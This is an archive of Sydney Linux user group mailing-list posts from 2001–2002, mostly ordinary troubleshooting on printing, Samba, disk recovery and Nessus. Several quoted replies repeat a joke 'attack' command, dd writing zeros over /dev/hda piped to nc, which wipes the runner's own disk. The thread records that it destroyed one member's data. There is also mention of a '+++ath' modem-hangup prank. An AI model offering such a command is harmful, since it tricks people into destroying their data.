RE: [SLUG] Recovering data from a Windows disk using Linux tools.

2002-04-19 Thread Booth, Christopher (Aus) - ATP

Hi Guys

Thanks for all those who made me feel more stupid. not.  Even though I'm not
a newbie, I did a very stupid thing. I apologise for not measuring up to
wizard status.

Really though, thanks to all those who really gave some good pointers on
retrieving the data.

In the end, I installed a fresh copy of Win 98 in the first part of the disk
which was wiped.  As I wanted to retrieve a Fat16 partition on which I
stored my data, it seemed more logical.

I googled and found this wonderful, wonderful sight, 
http://www.cgsecurity.org/index.html?testdisk.html

This, it turns out, compiles and runs under linux and Win 9x.

A little 100k program from a DOS disk, enabled me to see and reenable my
partitions on the last part of my drive.

A reboot into Windows and voila, my drive is there, I just have to reinstall
my bootload for Linux now.

I can laugh at myself, and have learnt my lesson.

Thanks all

Chris

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ben_donohue wrote:
 Ahh, flame time again, ahh, really quickly, ahh
 there used to be undelete. probably heaps of free tools on the internet.
 DOS deletes the first character of the file name. changes it to ?. You'll
 need to use your linux tools to reset the first character of the file
name
 and then it recoginises it in the directory listing as a valid file.

Ah but he didnt delete the files. He reformatted the disk :-) He did a
better job than undelete :-) I'll get him to bring the disk to me and
see what I can see under Linux.

Mike
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RE: [SLUG] i need a sofware to penetrate in to systems

2002-04-18 Thread Booth, Christopher (Aus) - ATP

Ay Caramba

Does this do what I think it does and is equivalent to format c: in dos ?

There should have been some warning to this, as not everyone is familiar
with the dd command (including me)

I stupidly as a joke tried this, thinking that the nc command would actually
do what was thought.

Please remember that there are newbies and stubies here

I've no idea if what I've done is fixable, but I'm not happy if I've lost
all my data on my hard drive.
I don't care about programs but my personal stuff is hard to replace.

While it may be fun to take the mickey out of Osama, if you lost all your
personal data, and didn't have a backup mechanism available to restore it
from, would you be happy ?

Disappointedly

Chris
-Original Message-
From: Daniel Stone [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 17 April 2002 8:19 PM
To: Matthew Sanderson
Cc: OSAMA; [EMAIL PROTECTED]
Subject: Re: [SLUG] i need a sofware to penetrate in to systems


On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote:
 OSAMA,
 
 Try this command from a DOS prompt, it accesses the CIA and FBI's websites
 and lets you access the restricted area:
 
 FORMAT C:

But seriously, I suggest:
dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535

This is a zero-byte overflow attack - hosts on port 65535 are vulnerable
because that's near an overflow region!

Have fun!
d

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RE: [SLUG] i need a sofware to penetrate in to systems

2002-04-18 Thread Booth, Christopher (Aus) - ATP

I'm definitely not trolling

I'll get my data back some how I'll leave no stone unturned, but seriously
if people are going to put commands that can potentially ruin a newbie or
gullible person's data, at least make it 100% clear that it is a joke and/or
provide a warning of it's consequences.  I enjoy a joke as much as the next
person.

I'll only be at this company for another 2 weeks, so I don't care about the
OS and stuff.  My personal data which I was just about to back up and write
to CD is going to be hard to replace.

Chris






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From: Matthew Hannigan [mailto:[EMAIL PROTECTED]]
Sent: Friday, 19 April 2002 12:28 PM
To: Booth, Christopher (Aus) - ATP
Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED]
Subject: Re: [SLUG] i need a sofware to penetrate in to systems


I really hope you're not trolling too.,

If not, your data is probably not recoverable.

Theoritically it may be; but it would cost thousands
and thousands to do so.   Do a search for data recovery
on google.  One good one seems to be http://www.ibas.com/


Booth, Christopher (Aus) - ATP wrote:
 Ay Caramba
 
 Does this do what I think it does and is equivalent to format c: in dos ?
 
 There should have been some warning to this, as not everyone is familiar
 with the dd command (including me)
 
 I stupidly as a joke tried this, thinking that the nc command would
actually
 do what was thought.
 
 Please remember that there are newbies and stubies here
 
 I've no idea if what I've done is fixable, but I'm not happy if I've lost
 all my data on my hard drive.
 I don't care about programs but my personal stuff is hard to replace.
 
 While it may be fun to take the mickey out of Osama, if you lost all your
 personal data, and didn't have a backup mechanism available to restore it
 from, would you be happy ?
 
 Disappointedly
 
 Chris
 -Original Message-
 From: Daniel Stone [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, 17 April 2002 8:19 PM
 To: Matthew Sanderson
 Cc: OSAMA; [EMAIL PROTECTED]
 Subject: Re: [SLUG] i need a sofware to penetrate in to systems
 
 
 On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote:
 
OSAMA,

Try this command from a DOS prompt, it accesses the CIA and FBI's websites
and lets you access the restricted area:

FORMAT C:
 
 
 But seriously, I suggest:
 dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535
 
 This is a zero-byte overflow attack - hosts on port 65535 are vulnerable
 because that's near an overflow region!
 
 Have fun!
 d
 


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RE: [SLUG] i need a sofware to penetrate in to systems

2002-04-18 Thread Booth, Christopher (Aus) - ATP

www.r-tt.com

Has R-linux to recover from EXT2 file systems and EXT3 which is based on
EXT2

Strangely though it runs on Windows

Chris

-Original Message-
From: Booth, Christopher (Aus) - ATP 
Sent: Friday, 19 April 2002 12:51 PM
To: 'Matthew Hannigan'; Booth, Christopher (Aus) - ATP
Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED]
Subject: RE: [SLUG] i need a sofware to penetrate in to systems


I'm definitely not trolling

I'll get my data back some how I'll leave no stone unturned, but seriously
if people are going to put commands that can potentially ruin a newbie or
gullible person's data, at least make it 100% clear that it is a joke and/or
provide a warning of it's consequences.  I enjoy a joke as much as the next
person.

I'll only be at this company for another 2 weeks, so I don't care about the
OS and stuff.  My personal data which I was just about to back up and write
to CD is going to be hard to replace.

Chris






-Original Message-
From: Matthew Hannigan [mailto:[EMAIL PROTECTED]]
Sent: Friday, 19 April 2002 12:28 PM
To: Booth, Christopher (Aus) - ATP
Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED]
Subject: Re: [SLUG] i need a sofware to penetrate in to systems


I really hope you're not trolling too.,

If not, your data is probably not recoverable.

Theoritically it may be; but it would cost thousands
and thousands to do so.   Do a search for data recovery
on google.  One good one seems to be http://www.ibas.com/


Booth, Christopher (Aus) - ATP wrote:
 Ay Caramba
 
 Does this do what I think it does and is equivalent to format c: in dos ?
 
 There should have been some warning to this, as not everyone is familiar
 with the dd command (including me)
 
 I stupidly as a joke tried this, thinking that the nc command would
actually
 do what was thought.
 
 Please remember that there are newbies and stubies here
 
 I've no idea if what I've done is fixable, but I'm not happy if I've lost
 all my data on my hard drive.
 I don't care about programs but my personal stuff is hard to replace.
 
 While it may be fun to take the mickey out of Osama, if you lost all your
 personal data, and didn't have a backup mechanism available to restore it
 from, would you be happy ?
 
 Disappointedly
 
 Chris
 -Original Message-
 From: Daniel Stone [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, 17 April 2002 8:19 PM
 To: Matthew Sanderson
 Cc: OSAMA; [EMAIL PROTECTED]
 Subject: Re: [SLUG] i need a sofware to penetrate in to systems
 
 
 On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote:
 
OSAMA,

Try this command from a DOS prompt, it accesses the CIA and FBI's websites
and lets you access the restricted area:

FORMAT C:
 
 
 But seriously, I suggest:
 dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535
 
 This is a zero-byte overflow attack - hosts on port 65535 are vulnerable
 because that's near an overflow region!
 
 Have fun!
 d
 


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RE: [SLUG] pdf to text

2002-04-16 Thread Booth, Christopher (Aus) - ATP

I think Ghostscript has the tool called pdftotext

Regards

Chris

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Subject: [SLUG] pdf to text


Are there any tools for doing this?

TIA, David.

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RE: [SLUG] pdf to text

2002-04-16 Thread Booth, Christopher (Aus) - ATP

 oops or maybe xpdf comes with the tool

according to man pdftotext

Chris

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Subject: [SLUG] pdf to text


Are there any tools for doing this?

TIA, David.

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[SLUG] lilo stopping booting at L

2002-03-21 Thread Booth, Christopher (Aus) - ATP

Sorry for this coming from Outlook.

I've got this new CPU and motherboard, and RAM, or rather 2nd hand.
Anyway, my RedHat 7.1 hard disk, which dual boots between 2k and
RH7.1.
I am getting this error on boot up in which lilo stops at L.

Any reason, why on this and a few other motherboards that I have
tried, I get this happening ?

Chris

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RE: [SLUG] debian.potato-X

2002-03-18 Thread Booth, Christopher (Aus) - ATP

also midnight commander (mc) which comes on (at least) Red Hat and Mandrake
distributions.
This is a Norton Commander or XTree gold clone.
F3 to view a file
F4 to edit a file

Chris

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To: [EMAIL PROTECTED]
Subject: Re: [SLUG] debian.potato-X


Bill Taylor wrote:
 
 I was installing. last thing before this it set VGA16 as default.
 when it does manage to start x it locks the system up, the only way out
 is to cut the power.
 cat didn't work last night, unless I did somthing wrong. the particular
 readme's are .gz .does that make a difference?

You probably have lynx on your system. It's a text based browser which
will automatically uncompress the giz zipped files and show you the
README inside. That way you dont have to use gunzip to uncompress them.
Just change to the directory where the readme is and type lynx .
The dot stands for the current directory. You can then scroll to the
README.gz line and hit enter and it will display it.

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RE: [SLUG] might be a stupid question

2002-03-07 Thread Booth, Christopher (Aus) - ATP

This would work for non ntfs partitions, eg. fat and fat32, as (at least
with Mandrake 8.1) the ntfs driver only allows readonly access.
A swap file would need to be on a partition that has read and write access

Chris

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Subject: Re: [SLUG] might be a stupid question


On Thu, Mar 07, 2002 at 11:39:16PM +1100, Jamie Wilkinson wrote:
 For some reason I was thinking you meant use the same swapfile otherwise
I 
 don't see the relevance of which particular Windows version ... oh wait, 
 the filesystem.
 
 Yes, Pete was saying you back up the filesystem that the windows swapfile
is
 on, then you mkswap that partition... on shutdown you swapoff then unpack
 the filesystem back onto that partition.

Actually there is no need to do this. You can use the Windows swap
file itself in GNU/Linux. All you need to do is a mkswap on the
Windows swapfile, each time you boot.

mvm.


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[SLUG] Star Office 6.0 Beta and Open Office 6.0 hangs when printing large document

2002-02-06 Thread Booth, Christopher (Aus) - ATP

Has any one come across any issues and fixes with these printing ~150 pages
with footnotes ?



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[SLUG] routing

2002-01-31 Thread Booth, Christopher (Aus) - ATP

Hi guys

At work I have my Linux laptop on the network with a static IP

X.X.105.30

When I dial-in I am given another IP address

X.X.143.187

Most things work, PROXY for websurfing, DNS, but if I wan't to access my
email thorugh sylpheed, or ping the mail server
X.X.104.13 it always trys to connect through eth0 (X.X.105.30).

If I ifdown eth0 then it only uses ppp0, which is fine unless I want to
access something via eth0.

What IPTABLES or route commands would I need to use to enable it to use ppp0
as the interface that it connects through instead ?

I have the same problem, if I use my home box for internet connection
sharing from Win 2000, via a network crossover cable to my laptop.  This
uses 192.168.0.1 for the Win 2K and an IP alias on my laptop 192.168.0.4 on
eth0:0
Obviously I can't ifdown eth0 as I lose all connectivity.

TIA

Chris



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RE: [SLUG] Deleting jobs from postfix queue

2001-12-05 Thread Booth, Christopher (Aus) - ATP

Thanks Jeff

You pointed me in the right direction
there was also /var/spool/postfix/deferred

Thanks again

Christopher Booth

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quote who=Christopher Booth

 How do I delete jobs from the postfix mailq

Stop postfix, and delete the files from /var/spool/postfix/defer*

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RE: [SLUG] Offline Email Reading that pre-fetches URL's

2001-11-29 Thread Booth, Christopher (Aus) - ATP

I stumbled across the command mail-file yesterday there is no man nor info
on this, has anyone used this, does it do the same as metasend ?

Chris

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From: Grant Parnell [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 29, 2001 7:19 PM
To: Mike Holland
Cc: [EMAIL PROTECTED]
Subject: Re: [SLUG] Offline Email Reading that pre-fetches URL's


On Mon, 26 Nov 2001, Mike Holland wrote:

Whats is a good way to add an attachment to an email from a
 script/command-line ?  (though I think it would be better as a separate
 mail.)

man metasend
Crude interface for sending non-text email

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RE: [SLUG] Offline Email Reading that pre-fetches URL's

2001-11-29 Thread Booth, Christopher (Aus) - ATP

That should have been mail-files

also came across http://www.shelldorado.com/scripts/cmds/sendfile
which is a script which doesn't require knowing the mime type of the file

Chris

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To: 'Grant Parnell'; Mike Holland
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Subject: RE: [SLUG] Offline Email Reading that pre-fetches URL's


I stumbled across the command mail-file yesterday there is no man nor info
on this, has anyone used this, does it do the same as metasend ?

Chris

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Sent: Thursday, November 29, 2001 7:19 PM
To: Mike Holland
Cc: [EMAIL PROTECTED]
Subject: Re: [SLUG] Offline Email Reading that pre-fetches URL's


On Mon, 26 Nov 2001, Mike Holland wrote:

Whats is a good way to add an attachment to an email from a
 script/command-line ?  (though I think it would be better as a separate
 mail.)

man metasend
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RE: [SLUG] Argentina

2001-11-15 Thread Booth, Christopher (Aus) - ATP

Spanish spam
spam en español
just in time for Christmas
justo a tiempo para navidad

A stuffed pig
un lechon

Chris

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RE: [SLUG] PostScript to PDF via virtual printer

2001-11-14 Thread Booth, Christopher (Aus) - ATP

Has anyone got this working with cups on Mandrake 8?
Which funnily enough has the adobe distiller ppd listed as a printer driver,
only outputs in *.ps though
I am toying with making a cron job to check the directory every hour and
convert any postscript files to pdf.

I am trying to set it up, but restarting the cupsd rewrites the
/etc/printcap file

Chris

-Original Message-
From: Mike Lake [mailto:[EMAIL PROTECTED]]
Sent: Friday, 16 November 2001 12:59 am
To: slug
Subject: Re: [SLUG] PostScript to PDF via virtual printer


On Thu, Nov 15, 2001 at 10:30:15AM +1100, [EMAIL PROTECTED] wrote:
 Just stumbled over this too, last night.  It avoids the need to buy
 expensive PDF creation software from Adobe.
 http://www.linuxgazette.com/issue72/bright.html

Yes it's an ace trick. I have setup a few Windows PC's here to use a
virtual PostScript printer (usually a colour HP laserjet) and ps2pdf to
enable users to create PDF files. Whats really most interesting though is
that most people believe that you MUST have Adobe Distiller to create any
PDF files. I often get M$ Word files submitted to some web sites I run
with the comment from the user I don't have Distiller so I can't create 
PDF. Alas Adobe markets so well :-(

Mike
(who still prefers ps over pdf as I can lift up the bonnet of ps and fiddle
with the carburettor)
-- 
We don't really understand it, so we'll give it to the programmers.

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Work: [EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 
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RE: [SLUG] A PostScript file and a Printer.

2001-11-14 Thread Booth, Christopher (Aus) - ATP

on a PC

use lpr -S servername -P Printqueue filename.ps

Chris

-Original Message-
From: Bill Bennett [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 15, 2001 5:38 PM
To: [EMAIL PROTECTED]
Subject: [SLUG] A PostScript file and a Printer.


Dear Anyone,

Another, alright a recurrent problem with interfacing
Microsoft and Linux.

The Department has a colour printer, a HP 5. This is connected
to a PC running Windows. The PC is the only contact with the
printer.

I have a PostScript file on a floppy.

I'd like to send it for printing, but no-one can tell me how
this can be done. In the normal turn of events, where I had the
file on the mainframe, I'd use the Unix command lpr. However
in this case I have to load the file to the PC.

I'm reluctant to use Distiller, although I know it would work.
The end results always seem not to be up to the standard of a
simple PostScript print.

Any help etc.,

Bill Bennett.

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RE: [SLUG] Filesystem flame^H^H^H^H^H discussion.

2001-11-01 Thread Booth, Christopher (Aus) - ATP

If you are dual booting, and partitioning with Partition Magic, I think it
only recognises EXT2 and Swap as Linux partitions, could have changed for
the latest version.

Chris

-Original Message-
From: Andre Pang [mailto:[EMAIL PROTECTED]]
Sent: Thursday, 1 November 2001 5:30 pm
To: [EMAIL PROTECTED]
Subject: Re: [SLUG] Filesystem flame^H^H^H^H^H discussion.


On Thu, Nov 01, 2001 at 05:12:13PM +1100, Catie Flick wrote:

Check this out: http://www.namesys.com/
 
 I dunno, but a site that has testimonials for their fs makes me think of
 various fast-acting fat-sucking weight-loss therapies' sites. :-)

Well ... to defend them, they are a business, and testomonials do
help when selling your product.  Even if the evidence is
anecdotal, I think that reiserfs powering sourceforge.net and
cvs-mirror.mozilla.org is a pretty good testament that it can be
very reliable.  Very different from weight-loss-foo-ninja
therapies :).


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RE: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes h ey ?

2001-10-28 Thread Booth, Christopher (Aus) - ATP

The link to the article is here
http://www.winsupersite.com/reviews/windowsxp_osx.asp

He is less kind to Linux and Linux users than Mac OS
Yes Xerox did invent the GUI too.
Are we just playing catch-up to Windows ? or truly innovating.

Chris



-Original Message-
From: George Vieira [mailto:[EMAIL PROTECTED]]
Sent: Monday, 29 October 2001 3:34 pm
To: '[EMAIL PROTECTED]'
Subject: RE: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes
h ey ?


yeah funny that, and yet (if i'm not wrong) MACs had GUIs before windows.
Xerox were the first bring on the GUI and then it was Apple (i think).. then
Windows..

Funny thing today, (Don't want to start another thread) I've just noticed
the amount of Windows XP advertising going around with the message Surprise
Yourself. I laughed so hard... you see, last Saturday I had W2K problems
and a friend gave me Windows XP final release and I installed it.. it would
recognise my USB board and that SURPRISED ME..


thanks,
George Vieira
Network Engineer
Citadel Computer Systems P/L



-Original Message-
From: Booth, Christopher (Aus) - ATP
[mailto:[EMAIL PROTECTED]]
Sent: Monday, October 29, 2001 3:29 PM
To: '[EMAIL PROTECTED]'
Cc: Snedden, Paul (aus) ATP
Subject: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes hey
?


See what some unenlightened individuals are sprouting

Chris

-Original Message-
From: [EMAIL PROTECTED] 
Subject: RE: Paul Thurrot - a Windows XP summary


Perhaps I should put this in context.  Mr Thurrot's original statement was
...for copycat OSs such a Linux and Mac OS, etc etc etc.

 -Original Message-
 From: [EMAIL PROTECTED] 
 Subject: Paul Thurrot - a Windows XP summary
 
 
 for competitors such as Linux, where innovation often 
 has equated to simply copying the feature set of Windows, the 
 bar has been raised yet again, this time to stupefying heights.
 
 Kind regards,
 ~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~
 Paul Snedden

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RE: [SLUG] XP launch

2001-10-24 Thread Booth, Christopher (Aus) - ATP

Wear your Penguin hats, Suse T-Shirts, Gnu-Overalls, and BSD Daemons socks

:þ

Chris

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Sent: Wednesday, 24 October 2001 4:11 pm
To: [EMAIL PROTECTED]
Subject: [SLUG] XP launch


Anyone going to either session tomorrow for a laugh ?  I'll be at the
morning 
one if people want to arrange to meet and attend en masse, as it were...

Something about safety in numbers...:[p)

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RE: [SLUG] Printing using CUPS

2001-10-24 Thread Booth, Christopher (Aus) - ATP

do you have gui ?

check out kups and/or qtcups, there may even be a gnome config.

also it should allow administration via the browser
http://127.0.0.1:631 if I'm not mistaken is the administration page.

You can use lynx to access it too, and has online help in html and pdf
format

It is very well documented, and of course www.cups.org has the documentation
online. IMHO the easiest Unix Printing system around.

Regards

Christopher Booth

-Original Message-
From: Ken Caldwell [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 24 October 2001 11:16 pm
To: [EMAIL PROTECTED]
Subject: [SLUG] Printing using CUPS


Sluggers and Debianites,

I am having diffficulty getting printing working properly on a box on
which I have installed a Debian (testing) distribution.  I usually
install apsfilter and lpr but this time I thought to try CUPS.

Among the 416 installed packages are the following which may be relevant
to the discussion.  cupsomatic-ppd, cupsys, cupsys-bsd, cupsys-client,
cupsys-driver-gimpprint, cupsys-pstoraster, gimp1.2-print, gs, gsfonts,
gsfonts-other, gsfonts-X11, gtklp, libcupsys2, libcupsys2-dev,
libgimpprint-dev, libgimpprint-doc, libgimpprint4.1.7, libpaperg, and
xpp.

The printer is a Canon BJC-210.

After much searching through documentation scattered through
/usr/share/doc/... and man (this  that) I have produced some printed
output.  I have configured the printer by doing (as root)

lpadmin -p Canon -E -v parallel:/dev/lp0 -m BJC-210-bjc600.ppd
lpadmin -d Canon
/etc/init.d/cupsys restart

after which I can print a file (say) .bashrc by either

lpr .bashrc  

or starting xpp and typing .bashrc in the box and clicking on print.

In either case the result is the same, the file is printed with no
margins and the traditional stair step effect.

xpp provides a clue in that it lists as the only available printer

Canon: Local Raw Printer (single printer)

so I guess some sort of filter is required.  My question is what do I
have to do to fix this?

regards,

Ken

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RE: [SLUG] imagemagick install

2001-10-23 Thread Booth, Christopher (Aus) - ATP

In instances like these, I have used the -ivh -force and -nodeps and then
got the later rpm from the install cd and done an rpm -force on that rather
than a -uvh so that you get the earlier library files and the later library
files as well.

Does that explain it well.  It is not an ideal situation, I would love to
have a rpm viewer/installer that allowed you to browse the rpm file (like
winzip does allow you to view inside zip files) and extract only the file
you need.
This may or may/not exist, I am not sure.

Chris

-Original Message-
From: cpaul
To: [EMAIL PROTECTED]
Sent: 10/24/01 7:02 PM
Subject: [SLUG] imagemagick install



just trying to install imagemagick (and perlmagick) on a RH6.2
system from the binaries at my local imagemagick mirror.

the imagemagick rpm wants bzip 1.0.0 - cool - but if i try:

# rpm -Uvh bzip2-1.0.0-1.i386.rpm

i get:

error: failed dependencies:
 libbz2.so.0 is needed by rpm-4.0.2-6x

rpm-4.0.2-6x appears to be the latest around.


is --force or --nodeps a realistic way to go?  


i've not used either before and would appreciate some sound advice :)



thanks,


chris paul

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[SLUG] Lindows ? Is this a hoax or for real

2001-10-23 Thread Booth, Christopher (Aus) - ATP

http://www.lindows.com/index.html

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[SLUG] FW: Optus@Home running on Linux.

2001-10-18 Thread Booth, Christopher (Aus) - ATP



-Original Message-
From: Lane, Alex - (Aus) ATP 
Sent: Friday, 19 October 2001 12:28 pm
To: Booth, Christopher (Aus) - ATP
Subject: Optus@Home running on Linux.


Optus@Home network severs final ties to Excite --- 
By BARRY PARK, FAIRFAX IT
Thursday 18 October, 2001 15:52 GMT+10:00

URL:http://it.mycareer.com.au/breaking/2001/10/18/FFXDWFEGXSC.html

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RE: [SLUG] Completely OT -el Presidente, perfect pitch and boids

2001-10-04 Thread Booth, Christopher (Aus) - ATP

I thought relative pitch was throwing the mother-in-law out of the top floor
window

Chris

BTW what aural training programs are available for Linux.
Advanced chord recognition programs ? like A7alt, Bm7b5, E7#9b13

-Original Message-
From: Adam Kennedy [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 05, 2001 8:47 AM
To: Laurie Savage; [EMAIL PROTECTED]
Subject: Re: [SLUG] Compltetly OT -el Presidente, perfect pitch and
boids


Yes

What you REALLY want to relative pitch, the ability to name any note once
you have been given a starting point.

Not as sexy as perfect, but just as practical. If something is off by a
fraction of a semitone, you'll barely notice :)

Adam

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From: Laurie Savage [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Friday, October 05, 2001 8:20 AM
Subject: [SLUG] Compltetly OT -el Presidente, perfect pitch and boids


 Conrad,

 Never wish for perfect pitch, one day you'll be doing an acoustic gig in
 a pub and the piano will be ALMOST  a complete semitone out!

 --
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[SLUG] NOW audio software for Linux

2001-10-04 Thread Booth, Christopher (Aus) - ATP

I think this was meant for the list

-Original Message-
From: Laurie Savage [mailto:[EMAIL PROTECTED]] 
Sent: Friday, October 05, 2001 9:53 AM
To: Booth, Christopher (Aus) - ATP
Subject: Re: [SLUG] Completely OT -el Presidente, perfect pitch and
boids


Nasty!!

Any one seen any music transcription software for Linux - I'm hunting now.

Booth, Christopher (Aus) - ATP wrote:

 I thought relative pitch was throwing the mother-in-law out of the top
floor
 window
Chris

 BTW what aural training programs are available for 
 Linux.
 Advanced chord recognition programs ? like A7alt, Bm7b5, E7#9b13



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RE: [SLUG] Document management systems

2001-10-01 Thread Booth, Christopher (Aus) - ATP

Fuji Xerox Australia is trying to get this released on Linux, the present
versions don't run on Linux.  They run on Windows IIS, or Sparc Solaris
using apache or Netscape Enterprise Server.  Producing a Linux version
should be trivial for them (just don't expect them to supply the source code
as GPL :p) though Solaris versions and patch levels of software are more
version consistent across the board than Linux counterparts.
Things like code red and nimda worms/virii have played havoc with IIS
servers as you are all probably well aware  so IMHO putting it on Linux
servers is a very good bet.

A demo version was given away on one of the latest computer magazines.  It
just requires a license code to be purchased to enable more than 50
documents to be viewed.  This is proprietary and is based on three things
the hostname of the server, the port no. of the web server and the web
directory.
You then logon to docushare as administrator, go to the admin section, and
check the server ID that is created.
This is sent to the States and a license is generated.
For example a Server ID of 39397 for 50 users gives something like this with
this format (not a real license)
CR1R-Q9YH-Z2KZ-7KFA-99SL-W711-RCH 
I don't know what kind of encryption that they use to generate the string.

It does have version control, and user access levels, using a thing called
keyview to display documents  on the fly, or enabling downloading of them.
Python scripts are used and the verity database for searching etc...
It is pretty straight forward and the interface can be customised to a
degree.

Cheers

Chris
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-Original Message-
From: Susanto Hartono [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, October 02, 2001 12:21 PM
To: Michael De Santis
Cc: 'Slug '
Subject: Re: [SLUG] Document management systems


If your budget allows it, you can try Xerox's DocuShare. We have been using
it for a while and so far it hasn't failed us yet. 

http://docushare.xerox.com/ 

--SH

On Fri, 24 Aug 2001, Michael De Santis wrote:

 The management system should be at least do some of the following tasks - 
 
 Assign user access levels
 Indicate if the document is locked or being edited 
 Assign users to work groups or projects 
 Able to handle different file formats ie Word, Excel, PDF
 Interfaced through a browser.
 
 I would also be interested in hearing of any commercial system that be can
 recommend 


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[SLUG] Bootable CD Linux with Nessus, or ability to add to build

2001-09-24 Thread Booth, Christopher (Aus) - ATP

Hi guys,

A guy here at work would like to get a bootable CD with Nessus on it, or a
build which has the ability to add Nessus to it.

Has anyone done this or do they know of anything ?

PS We are searching on the web. He found something called Trinix

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RE: [SLUG] Samba...

2001-09-10 Thread Booth, Christopher (Aus) - ATP

From one flamed to another :)
 
look at smbadduser and smbpasswd
There is also an option in smb.conf to sync with Unix passwords
and you shouldn't use plain text passwords
Security can be set to security=domain
But you need to create a computer account name manually on the NT/2000
server.
 
Chris
 

-Original Message-
From: Phillipus Gunawan [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 11, 2001 12:43 AM
To: [EMAIL PROTECTED]
Subject: [SLUG] Samba...


I'm really sorry because was late to read these email(s)
 
Without harming everyone else, yes, most of the time, for us -newbies- is a
bit difficult to find a good doc, even sometime can't think the proper
question to post it here (I did it a few times...)
 

I was trying to set up samba with NIS and create local user in the box as
the authentication to the window$ (for a start before I really have to deal
with pam)
 
This is how I create the user:
 
[1] useradd -g 100 -d /dev/null -c mywidow -m -s /bin/false widowbox
 
[2] smbpasswd -a -m widowbox
 
On the widow machine, I try to join the domain, It give me an error saying
that no user name or bad password.
Anyone have a -bit- clue?
 
One more thing, I have a suggestion for the next SLUG-meeting
 
Why don't SLUG discuss about winbind? the real implementation, examples and
the explanation?
 
That will be great isn't? I think that will make more newbies (including me
for sure...) come on the next SLUG-meeting
 
Just an Idea.
Thanks in Advance


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RE: [SLUG] Answer + Disappointment

2001-09-10 Thread Booth, Christopher (Aus) - ATP

A month to do it is childish but for 2 years now

http://bad.debian.net/list/1999-October/000583.html

BTW I'm not on a modem so I can't test

mm

Chris
-Original Message-
From: DaZZa [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 11, 2001 9:06 AM
To: [EMAIL PROTECTED]
Subject: Re: [SLUG] Answer + Disappointment


On Mon, 10 Sep 2001, Charles U Farley wrote:

 I'm happy to paint you as a villain Rick, as I'm sure many of this
 lists modem users are.  Yes you've annoyed me personally, does + + +
 ath ring any bells in your juvenile head.  For those of you lucky
 enough to be unaware, Rick decided to include the command to hangup a
 modem in the headers of several recent emails to this list.  I'll bet
 there are other recipients not yet back on the list, still trying to
 figure out why their ppp connection fails every time they download
 their mail.

Only those who have cheap junk modems, or who don't know how to set them
up properly.

There's a simple AT command that's valid on all modems which even pretend
to match the Hayes command set which disables this possibility.

Of course, good modems who actually license the Hayes command set
accordingly don't have this problem.

Reference

http://cert.uni-stuttgart.de/archive/bugtraq/1998/09/msg00209.html

 Rick, you are a villain and a nuisance and because I know this to be
 true, this post is anonymous.

Certainly, it's childish and a nuisance - but villainous?

DaZZa


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[SLUG] Help on Nessus

2001-07-04 Thread Booth, Christopher (Aus) - ATP

Hi

Here at work after a typo in an IP-address, I got bombarded by a program
called nessus from our IT security.
It ended up being a DOS attack on my machine.

Is here anyone familiar with the usage of Nessus, I have since downloaded
it, and am running it against my own machine as localhost at the moment.

There are other tools out there, like Netsaint, Snort and Prelude.

I am just getting more into the network security and firewall side, so any
advice would be advantageous.

Chris

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RE: [SLUG] Help on Nessus

2001-07-04 Thread Booth, Christopher (Aus) - ATP


Got the results from the scan of 127.0.0.1

Things appeared pretty tight, some warnings, which they said could be false
positives, with smtp forwarding.  Should be ok on a closed corporate
network.

It did list a web server on port 5805
Also a thing call krb524 on port 
Another curious that appears is trivnet1 on port 8200

Does anyone know what this port is used for ?
Is there any way to get a quick listing of open ports on machine and what
service has them open ?

I used nmap -sS -O 127.0.0.1
It says difficulty 982131 (Good Luck)

Chris

-Original Message-
From: Booth, Christopher (Aus) - ATP
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Sent: Thursday, 5 July 2001 10:10
To: [EMAIL PROTECTED]
Subject: [SLUG] Help on Nessus


Hi

Here at work after a typo in an IP-address, I got bombarded by a program
called nessus from our IT security.
It ended up being a DOS attack on my machine.

Is here anyone familiar with the usage of Nessus, I have since downloaded
it, and am running it against my own machine as localhost at the moment.

There are other tools out there, like Netsaint, Snort and Prelude.

I am just getting more into the network security and firewall side, so any
advice would be advantageous.

Chris

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RE: [SLUG] Help on Nessus

2001-07-04 Thread Booth, Christopher (Aus) - ATP

I think ipchains is disabled in the kernel anyway.
So I can't use it or ipfwadm

Only the option for IPTables I guess

-Original Message-
From: Jobst Schmalenbach [mailto:[EMAIL PROTECTED]]
Sent: Thursday, 5 July 2001 2:51
To: [EMAIL PROTECTED]
Subject: Re: [SLUG] Help on Nessus


On Thu, Jul 05, 2001 at 11:18:35AM +1000, Crossfire ([EMAIL PROTECTED]) wrote:
 Booth, Christopher (Aus) - ATP was once rumoured to have said:

[snip]

 For firewalling, first learn about the IP protocol.  TCP/IP
 Illustrated by W.R. Stevens is still the best reference on the
 protocol.  Then you should start learning about how packet filters
 work, and then you should start working out how to use packetfilters
 to limit communications.  I recommend starting with ipf or ipchains,
 and only switching to iptables once you've gotten used to using
 ipchains.

What you said at the start is perfect, yet I disagree with what you said
about ipchains/iptables (or gosh does this end up in a discusion aka 
learn pascal first then learn C ??? hehehehehe).

IMHO ipchains teaches you wrong things eg the way packets flow.
  * Iptables has routing built in which makes a descision where 
packets go not interfering with the input chain.
